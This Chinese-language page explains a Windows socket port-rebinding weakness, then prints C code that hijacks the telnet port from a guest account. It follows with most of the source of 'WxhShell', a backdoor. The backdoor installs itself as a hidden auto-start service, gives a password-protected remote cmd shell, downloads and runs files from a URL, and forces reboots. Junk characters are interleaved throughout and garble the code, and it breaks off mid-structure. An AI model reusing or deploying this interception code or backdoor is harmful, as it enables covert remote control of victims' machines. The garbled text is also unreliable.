在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
e7Yb=/F s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]+}:VaeA VFe-#"0ZO saddr.sin_family = AF_INET;
d[~au=b ^JYF1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#nU@hOfg Wwn5LlJ^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0z#l0-NdQ k$9Gn9L% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2N6Pa(6 [{6&.v 这意味着什么?意味着可以进行如下的攻击:
vG'vgUo Iu=pk@*O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
yC9:sQ'k D]t~S1ycG7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
n`FQgC F!z! :yp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2jI4V;H8g !1ie:z>s 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[i,5>YIk sW>P- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?TL2'U|M }0k"SwX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"uV0Oj9: +=n
x|:no 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
K9x*Sep
w\0Oz?N #include
*>}McvtTw #include
J
,Qy`Y
B #include
/t%"Dh8x #include
/u"
cl2| DWORD WINAPI ClientThread(LPVOID lpParam);
S*~Na]nS0 int main()
]1/W8z% {
?RrC~7~ WORD wVersionRequested;
5n|MA DWORD ret;
:Olj WSADATA wsaData;
hq|jC BOOL val;
&lXx0"-$ SOCKADDR_IN saddr;
u;l6sdo SOCKADDR_IN scaddr;
fzGZ :L int err;
dK=D=5r, SOCKET s;
IkE'_F SOCKET sc;
U 8qKD int caddsize;
7|{%CckN
HANDLE mt;
(HTk;vbZm DWORD tid;
I&Eg-96@ wVersionRequested = MAKEWORD( 2, 2 );
Ggxrj'r err = WSAStartup( wVersionRequested, &wsaData );
ey9fbS ^I if ( err != 0 ) {
d-A%ZAkE] printf("error!WSAStartup failed!\n");
~'PS| return -1;
*;\
K5 }
T$>=+U saddr.sin_family = AF_INET;
]aL [ cwDD(j
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>.k@!* 4n.i<K8K[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
R- ?0k: saddr.sin_port = htons(23);
'nmYB:&! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
><Mbea=U+ {
c_DB^M!h printf("error!socket failed!\n");
[{.\UkV@ return -1;
^*owD;]4_ }
:67d>wb val = TRUE;
X\^3,k." //SO_REUSEADDR选项就是可以实现端口重绑定的
wtgO;w if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
hc4`'r; {
:ayO+fr# printf("error!setsockopt failed!\n");
}@Ll!, return -1;
OM"T)4z }
2Dwt4V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[wpt[zG //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`A}{
I}xq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h.+,*9T\ /[)P^L` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Q:xI}
]FM {
{t IoC;Y ret=GetLastError();
%/,Uk+3p printf("error!bind failed!\n");
xBx?>nN return -1;
`&&6-/ }
|GLn
9vw7S listen(s,2);
u
BW while(1)
[4(A458H {
!nD[hI8P caddsize = sizeof(scaddr);
mm9S#Ya //接受连接请求
Y&!McM!Jw sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~TmHnAz if(sc!=INVALID_SOCKET)
0BU:(o& {
zw;(:fgY# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]8j5Ou6#y if(mt==NULL)
oeqJ?1=! {
fVe-esAw printf("Thread Creat Failed!\n");
b|pNc'u:Cn break;
0eu$oel- }
"i5AAP?_]{ }
sT8kVN|Uv CloseHandle(mt);
hQRc,d6x5 }
7!d<>_oH closesocket(s);
0|3B8m WSACleanup();
#T#FUI1p return 0;
!P3tTL!*L }
zqEZ+|c= DWORD WINAPI ClientThread(LPVOID lpParam)
\V7x3*nA {
J'&?=| SOCKET ss = (SOCKET)lpParam;
<@2?2l+`X SOCKET sc;
o0v m?CL# unsigned char buf[4096];
iO#xIl< SOCKADDR_IN saddr;
a\.?{/ long num;
z:q'?{`I DWORD val;
tj Bv{ DWORD ret;
e}@J?tJK.L //如果是隐藏端口应用的话,可以在此处加一些判断
< 2r#vmM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=>TtX@ Q{ saddr.sin_family = AF_INET;
H "/e% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
w@D@,q'x saddr.sin_port = htons(23);
>}`1'su if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
iDe0 5f1R {
A}+r;Y8[h printf("error!socket failed!\n");
O&1p2!Bk4 return -1;
"e?#c<p7 }
lIT2 AFX+ val = 100;
A^jm<~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l%V}'6T {
LA(JA ret = GetLastError();
m^&mCo, return -1;
#nL0Hx7]E }
Hqy>!1! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;5S7_p2]j {
=
ft$j ret = GetLastError();
y3$\ m return -1;
B3=/iOb# }
c8 fb)`,k if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
jWjK -q@Y {
F>nrV printf("error!socket connect failed!\n");
w6Ny>(T/ closesocket(sc);
]nGA1 S{ closesocket(ss);
YtKX\q^. return -1;
aYX '&k
` }
Y'":OW#oN while(1)
un%"s: {
6:X\vw //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/9gMcn9EB //如果是嗅探内容的话,可以再此处进行内容分析和记录
>}tG^ )os //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
z{_Vn(Kg num = recv(ss,buf,4096,0);
rx)Q] if(num>0)
X0L{#U send(sc,buf,num,0);
;0{*V5A else if(num==0)
f4^_FK& break;
IKj1{nZvDc num = recv(sc,buf,4096,0);
7hE=+V8 if(num>0)
8zv6Mx send(ss,buf,num,0);
S'fq/`2g6 else if(num==0)
QR8Q10 break;
%^A++Z$` }
At:C4>HE@ closesocket(ss);
1z!Lk*C) closesocket(sc);
"aH]4DO return 0 ;
EPfVS }
cE?J]5#^ .v!e=i}. Ue%5
:Sdr ==========================================================
D7wWk
,B SJe;T 下边附上一个代码,,WXhSHELL
\|s/_35( kv2:rmv ==========================================================
R'U(]&e.j n`1i k'x? #include "stdafx.h"
p `Z7VG *?\Nioii #include <stdio.h>
gE#,QOy #include <string.h>
nIT=/{oyi #include <windows.h>
(d\bSo$] #include <winsock2.h>
4G2V{(@QiZ #include <winsvc.h>
3._fbAN%e #include <urlmon.h>
chbs9y0 j/\XeG> #pragma comment (lib, "Ws2_32.lib")
[0emOS #pragma comment (lib, "urlmon.lib")
4kEFbzwx e)8iPu .. #define MAX_USER 100 // 最大客户端连接数
c{q`uI;O #define BUF_SOCK 200 // sock buffer
ml2HA4X&$Y #define KEY_BUFF 255 // 输入 buffer
8V=o%[t D\JYa@*?.h #define REBOOT 0 // 重启
TUt)]"h< #define SHUTDOWN 1 // 关机
VdgPb ( 7BnP,Nd"W #define DEF_PORT 5000 // 监听端口
{DR+sE 3lqhjA #define REG_LEN 16 // 注册表键长度
X"sN~Q.0 #define SVC_LEN 80 // NT服务名长度
TM;)[R@ WfVie6 // 从dll定义API
nEYJ?_55 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
bC|~N0b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?CC6/bE-{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
TMrmyvv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'}=M~ 5s9~rm // wxhshell配置信息
qZ.\GHS struct WSCFG {
{lA@I*_lj int ws_port; // 监听端口
mdd~B2"el char ws_passstr[REG_LEN]; // 口令
JB7]51WH@ int ws_autoins; // 安装标记, 1=yes 0=no
Et(prmH char ws_regname[REG_LEN]; // 注册表键名
P:+:Cm< char ws_svcname[REG_LEN]; // 服务名
Syb:i(Y char ws_svcdisp[SVC_LEN]; // 服务显示名
iGIaZ!j aW char ws_svcdesc[SVC_LEN]; // 服务描述信息
{iRNnh char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"Q( 8FF int ws_downexe; // 下载执行标记, 1=yes 0=no
m,b<b91 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
53c6dl char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gQ[4{+DSf K;~dZ };
&2DW 3ba"[C| // default Wxhshell configuration
l`k3!EZDS struct WSCFG wscfg={DEF_PORT,
D{mu2'q "xuhuanlingzhe",
+q;^8d> 1,
r BL)ct "Wxhshell",
_cB~?c "Wxhshell",
/[p4. FL "WxhShell Service",
?w+T_EH "Wrsky Windows CmdShell Service",
0IZV4{ "Please Input Your Password: ",
vzU %5, 1,
[,c>-jA5 "
http://www.wrsky.com/wxhshell.exe",
NTC,Vr\A "Wxhshell.exe"
S/4kfsN };
!PgYn oUqNA|l
T // 消息定义模块
;AaF ;zPV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\n5,!,A char *msg_ws_prompt="\n\r? for help\n\r#>";
8`D_"3j3g\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
n~h%K7
c char *msg_ws_ext="\n\rExit.";
@AwH?7(b char *msg_ws_end="\n\rQuit.";
|7 argk+ char *msg_ws_boot="\n\rReboot...";
j'W)Nyw$[ char *msg_ws_poff="\n\rShutdown...";
_>*"6 char *msg_ws_down="\n\rSave to ";
KLk37IY2\ eNNK;xXe# char *msg_ws_err="\n\rErr!";
zK&`&("4C char *msg_ws_ok="\n\rOK!";
Je/R'QP^8 Y<B| e91C char ExeFile[MAX_PATH];
^l9S5
{ int nUser = 0;
<MYD`,$yu HANDLE handles[MAX_USER];
h(9K7 int OsIsNt;
?^hC|IR$ ;tHF$1!J SERVICE_STATUS serviceStatus;
tP\Utl-0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
5o,82Kti sG3%~ // 函数声明
{MHr]A}X\ int Install(void);
@M1U)JoQ int Uninstall(void);
$I.'7
&h; int DownloadFile(char *sURL, SOCKET wsh);
FY'f{gD^ int Boot(int flag);
7}Gy%SJ` void HideProc(void);
|Qm 7x[i int GetOsVer(void);
YRK4l\_` int Wxhshell(SOCKET wsl);
=hA/; void TalkWithClient(void *cs);
oyUf/Sl int CmdShell(SOCKET sock);
6|zA,-= int StartFromService(void);
0P|WoCX int StartWxhshell(LPSTR lpCmdLine);
X/Ae-1! j8lbn |. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
js{ RaR= VOID WINAPI NTServiceHandler( DWORD fdwControl );
]!/1qF (qaY,>je]D // 数据结构和表定义
wm}i+ApK SERVICE_TABLE_ENTRY DispatchTable[] =
A >e%rx {
4 1Ru@ {wscfg.ws_svcname, NTServiceMain},
N-^\e)ln {NULL, NULL}
j,~h:MT };
%l>^q`p D~-Ri`k. // 自我安装
P63f0F-G int Install(void)
O @l `D` {
Z@1rs# char svExeFile[MAX_PATH];
3+)i23[4=\ HKEY key;
6,!]x>B strcpy(svExeFile,ExeFile);
>Zr`9$i ?g!)[p`v // 如果是win9x系统,修改注册表设为自启动
q|S }5 if(!OsIsNt) {
=4?m>v,re if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J<'4(}^| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[g<JP~4] RegCloseKey(key);
/vBp Rm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+Ta7b) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6%)dsTAB RegCloseKey(key);
!4|7U\; return 0;
HH>]"mv }
/@0wbA }
.6r&<* }
U:_&aY_ else {
:Bl $c,J xC|7"N^/ // 如果是NT以上系统,安装为系统服务
*r%=p/oQ}B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|W?x6]~.R if (schSCManager!=0)
I&4|T<j {
mp}ZHuf G SC_HANDLE schService = CreateService
E}~GX G (
*/6PkNq schSCManager,
vrH/Z.WD wscfg.ws_svcname,
:Vv=p*~ wscfg.ws_svcdisp,
7dAa~!/( SERVICE_ALL_ACCESS,
&QvWT+]c'0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^!=+$@< SERVICE_AUTO_START,
4PNl3N3,n SERVICE_ERROR_NORMAL,
xK
/NzVt svExeFile,
D{c`H}/` NULL,
18F7;d N8 NULL,
lrK5q NULL,
^"l4 NULL,
I"r*p? NULL
p!173y,nL );
NKO5c?ds if (schService!=0)
OD{Rh(Id {
h" j{B CloseServiceHandle(schService);
1SQ&mH/ CloseServiceHandle(schSCManager);
U)N;=gr\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
rNdap*. strcat(svExeFile,wscfg.ws_svcname);
B+,Z 3* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
41$7P[M; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[9X1;bO#f RegCloseKey(key);
<wa}A!fu return 0;
iB{O"l@w
}
i,,U D }
nXXyX[c4e CloseServiceHandle(schSCManager);
Y*J,9 }
,myl9s }
EFhe`` =Bl#CE)X return 1;
H~fZA)W 4Y }
$kg!XT{V O]`CSTv'_ // 自我卸载
j$BM$q/c int Uninstall(void)
F8.Fp[_tM {
>AJtoJ=j HKEY key;
7h,SX]4Q %*zgN[/w if(!OsIsNt) {
gFJd8#6t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/&a[D2 RegDeleteValue(key,wscfg.ws_regname);
VcA87*pel RegCloseKey(key);
YaDr6) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>$k_tC'" RegDeleteValue(key,wscfg.ws_regname);
X]M)T RegCloseKey(key);
a~WtW] return 0;
c1Xt$[_ }
! p458~| }
(eFHMRMv~ }
NJwcb=* else {
#X`j#"Ov2( %
?@PlQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"2$C_aE if (schSCManager!=0)
Z#%4QIz? {
zN0^FXGD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Y}Y2Vx if (schService!=0)
!'[f!vsyM{ {
^dld\t:tV7 if(DeleteService(schService)!=0) {
[PdatL2 CloseServiceHandle(schService);
vQ$ FMKz7 CloseServiceHandle(schSCManager);
,a_\o&V return 0;
z1*8 5?
}
*q\Ve)E} CloseServiceHandle(schService);
FlttqQQdf }
/V^Gn; CloseServiceHandle(schSCManager);
>XM-xK-= }
}PUQvIGZZ& }
^3^n|T7le "oz qfh return 1;
^g"G1,[%w }
A7C+-N
T32C=7 // 从指定url下载文件
+' QX` int DownloadFile(char *sURL, SOCKET wsh)
ez@`&cJ7 {
ML9ZS
@ HRESULT hr;
$~75/ char seps[]= "/";
'D;v>r char *token;
:dc>\kUIv char *file;
#"|</*%> char myURL[MAX_PATH];
o+r?N5 char myFILE[MAX_PATH];
r8A g:7S/L0] strcpy(myURL,sURL);
<-D>^p9 token=strtok(myURL,seps);
OTY9Q while(token!=NULL)
Usx8
U {
>,yE;zuw file=token;
tt$DWmm token=strtok(NULL,seps);
9@9(zUS| }
!?,7Cu.5#6 |@`F!bnLr GetCurrentDirectory(MAX_PATH,myFILE);
d,tGW strcat(myFILE, "\\");
%wzDBsX strcat(myFILE, file);
_
fJ5z send(wsh,myFILE,strlen(myFILE),0);
8M<q-sn4B send(wsh,"...",3,0);
d="Oge8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Dp3&@M"^yY if(hr==S_OK)
<l opk('7 return 0;
P-o/ax else
U-&dn%Sq return 1;
|3<tDq@+ gdPv,p19L }
R*|y:T,H q$L=G // 系统电源模块
>x]b"@Hkw int Boot(int flag)
P:,' {
^cs:S-s HANDLE hToken;
bFD
vCF TOKEN_PRIVILEGES tkp;
@ qy
n[C @~,&E*X! . if(OsIsNt) {
1zqIB")s> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+m8CN(c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
E!nEB(FD tkp.PrivilegeCount = 1;
va 7I_J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TwJiYXHw? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-FftEeo7 if(flag==REBOOT) {
)WuU?Tn& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6Lj=%& return 0;
W}{RJWr }
JcV'O)& else {
5tfD*j n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
oM\b>* return 0;
[CxnGeKK }
Mm7;'Zbg }
q#s:2#= else {
%Z_/MNI if(flag==REBOOT) {
<q\OREMsq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
69/aP= return 0;
HEh,Cf7`' }
Se~<Vpo else {
>n3w'b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
uy'm2 return 0;
qw?#~"Ca. }
u-qwG/$E }
eYNu78u 6bPoC$<Z return 1;
ggn C #$ }
>1uo5,wrF 9bu}@#4* // win9x进程隐藏模块
K
?uHAm void HideProc(void)
jEU`ko_ {
Xf
0)i v3\
| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
B\^myg4 if ( hKernel != NULL )
)c*NS7D~f {
0APh=Alq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$mgamWNE8w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
eV(nexE FreeLibrary(hKernel);
"-
2HKs }
E3hql3= oW
! Z=; return;
J n>3c }
=f~8"j vtx3a^ // 获取操作系统版本
mv1g2f+ int GetOsVer(void)
)WWqi,T} {
3(o}ulp
OSVERSIONINFO winfo;
Df hu winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1F|e/h%^ GetVersionEx(&winfo);
l 7T@<V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}^Ymg7wA return 1;
!m {d6C[ else
{4]sJT return 0;
;r8<
Ed }
zjE|UK{ [k~}Fe)x // 客户端句柄模块
u B~C8} int Wxhshell(SOCKET wsl)
)t#>fnN {
qX9x#92 SOCKET wsh;
VZz>)Kz: struct sockaddr_in client;
Yq~$pVgf DWORD myID;
JX)%iJq# 0%(.$c>:f while(nUser<MAX_USER)
|7#S0Ca@ {
r+RFDg/ int nSize=sizeof(client);
QH5[}zs8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)swu~Wb}U@ if(wsh==INVALID_SOCKET) return 1;
X;/5Niv32q e0Jz|?d= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Z>l%:;H if(handles[nUser]==0)
pLiGky closesocket(wsh);
a>H8,a else
5jNDr`pnu nUser++;
/gH[|d }
%|izt/B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
DS|HN ;z1\n3, return 0;
kVRh/<s }
)JsmzGC0 "/kTEp // 关闭 socket
b#
| void CloseIt(SOCKET wsh)
EP'I {
-dyN
Ah?= closesocket(wsh);
FW@(MIH nUser--;
}7HR<%<7 ExitThread(0);
V44M=c7E }
DG-XX.:z ]jRaR~[UN // 客户端请求句柄
B:]%Iu| void TalkWithClient(void *cs)
PZ.q {
WKvG|YRDq X/qLg+X SOCKET wsh=(SOCKET)cs;
TgjM@ir char pwd[SVC_LEN];
y#iQ char cmd[KEY_BUFF];
uGz>AW8a3 char chr[1];
vuoD~ =z int i,j;
.|g|X8X s&)>gE\ while (nUser < MAX_USER) {
i_{b*o_an j3 Ps<<eA if(wscfg.ws_passstr) {
[bh8Nj\E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/^\UB
fE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U9t-(`[j? //ZeroMemory(pwd,KEY_BUFF);
I&JjyR i=0;
D!WyT`T while(i<SVC_LEN) {
;^DG P a,ZmDkzuv // 设置超时
%1Nank!Zj fd_set FdRead;
7 (kC|q\4M struct timeval TimeOut;
_O;2.M%@ FD_ZERO(&FdRead);
hdN[wC] FD_SET(wsh,&FdRead);
p*C| kE qk TimeOut.tv_sec=8;
}!9KxwC( TimeOut.tv_usec=0;
.P#+V$qhv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
lS96sjJp@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
w#!b #TNc =im7RgIBo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
J ?^R1 pwd
=chr[0]; xcM*D3
if(chr[0]==0xd || chr[0]==0xa) { OzA'd\|
pwd=0; R>;m6Rb_
break; AD>X'J
u8
} zI{~;`tzN
i++; vE{L `,\q
} PC)aVr?@@
*-`-P
// 如果是非法用户,关闭 socket
[BZA1,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <x[CL,Zg7
} ,)35Vi;.
?Rd{`5.D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VdOcKP.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ',bSJ4)Y
zPc kM)
while(1) { 2Fc>6]:*
SUN!8
qFA
ZeroMemory(cmd,KEY_BUFF); cnraNq1
EPiZe-
// 自动支持客户端 telnet标准 jt`\n1q)
j=0; _%]x-yH!@
while(j<KEY_BUFF) { @;t6Slc"~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .C\##
cmd[j]=chr[0]; cH48)
if(chr[0]==0xa || chr[0]==0xd) { b]6@
O8
cmd[j]=0; \(`8ng]vs
break; L+D 9ZE]
} b <z)4
j++; h/pm$9A
} /C
GV0-"9uwX~
// 下载文件 DIBoIWSuR
if(strstr(cmd,"http://")) { AlA:MO]NM
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f)19sjAJk
if(DownloadFile(cmd,wsh)) !g7lJ\B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1LVO0lT
else zff<#yK1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QWI)Y:<K/
} &w%--!T
else { hl$X.O
d#1yVdqRl
switch(cmd[0]) { czg9tG8
zVvL!
// 帮助 *ry}T=
case '?': { -gB9476-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :r4o:@N'
break; -]Y@_T.C
} 3eERY[
// 安装 `6xr:s
case 'i': { <7
xX/Z}M
if(Install()) "[dfb#0z`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9ar|8y
else ^m['VK#?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p(6KJK\
break; D"M[}$P
} ZxB7H{
// 卸载 "'74GY8,
case 'r': { '!<gPAVTzV
if(Uninstall()) jSMxb a]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(>2+#exw
else 2 9#jKh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N?2C*|%f
break; u';9zk/$
} Q<>b3X>O
// 显示 wxhshell 所在路径 G|b
I$
case 'p': { Sjp ]TWj
char svExeFile[MAX_PATH]; \b*z<Odv
strcpy(svExeFile,"\n\r"); 7yQw$zG,Iz
strcat(svExeFile,ExeFile); |8?DQhd}
send(wsh,svExeFile,strlen(svExeFile),0); x|$|~6f=n
break; 4n} a%ocv^
} &embAqW:
// 重启 k}]M`ad
case 'b': { 9Cz|?71
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b\S~uFq6
if(Boot(REBOOT)) |B
{*so]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,lcSJ^yr
else { Y?ZzFd,i&
closesocket(wsh); NXX/JJ+w
ExitThread(0); z/,&w_8,:
} L+8{%\UPd
break; *WfQi8
} CE @[Z
// 关机 }<^QW't_Y
case 'd': { FfNUFx2N
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &%`WXe-`R
if(Boot(SHUTDOWN)) X?U'GLm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yA#nnu1
else { 8a3EVc
closesocket(wsh); Ka y\;fXT
ExitThread(0); .(99f#2M:
} Wv||9[Rd
break; &2bqL!k
} "7Z-ACyF5
// 获取shell *x:*Q \|
case 's': { ?I$- im
CmdShell(wsh); c2gi3
closesocket(wsh); %j@@J\G!
ExitThread(0); t:"3MiM=c
break; hp`ZmLq/[
} YQcaWd(
// 退出 &z#`Qa3NI
case 'x': { U$46=F|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,KCxNdg^#-
CloseIt(wsh); 6Ey@)p..E
break; EbG&[v
} @H8DGeM
// 离开 (K_{a+$[
case 'q': { V8Ri2&|3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); c \;_jg
closesocket(wsh); m}7Nu
WSACleanup(); 6Yl+IP];i
exit(1); oL~?^`cGZ
break; Sm{> 8e}UE
} 2 w6iqLr?
} >p'{!k
} M@o^V(j
9Dbbk/j|
// 提示信息 }3_>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7"F29\
} a 7685Y
} j^%N:BQ&
\ef:H&r
return; ^HxIy;EQ<z
} u 7:Iv
A"z9t#dv@
// shell模块句柄 74 &q2g{
int CmdShell(SOCKET sock) `FEa(Q+s
{
[8~P
Pc^
STARTUPINFO si; %lD+57=
ZeroMemory(&si,sizeof(si)); txvo7?Y*4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O4Q"2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `?O0)
PROCESS_INFORMATION ProcessInfo; 7MGvw-Tpb7
char cmdline[]="cmd"; qtmKX
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AvPPsN0
return 0; OJd/#KFm
} U(LLIyZv
+~~2OU L
// 自身启动模式 0HUylnXf0
int StartFromService(void) yO}5.
{ lu8*+.V
typedef struct 3=yfbO<-
{ ITg<u?z_
DWORD ExitStatus; b;%t*?t
DWORD PebBaseAddress; lh[?`+A
DWORD AffinityMask; Z #T
DWORD BasePriority; Y2;2Exp^
ULONG UniqueProcessId; T];dFv-GT
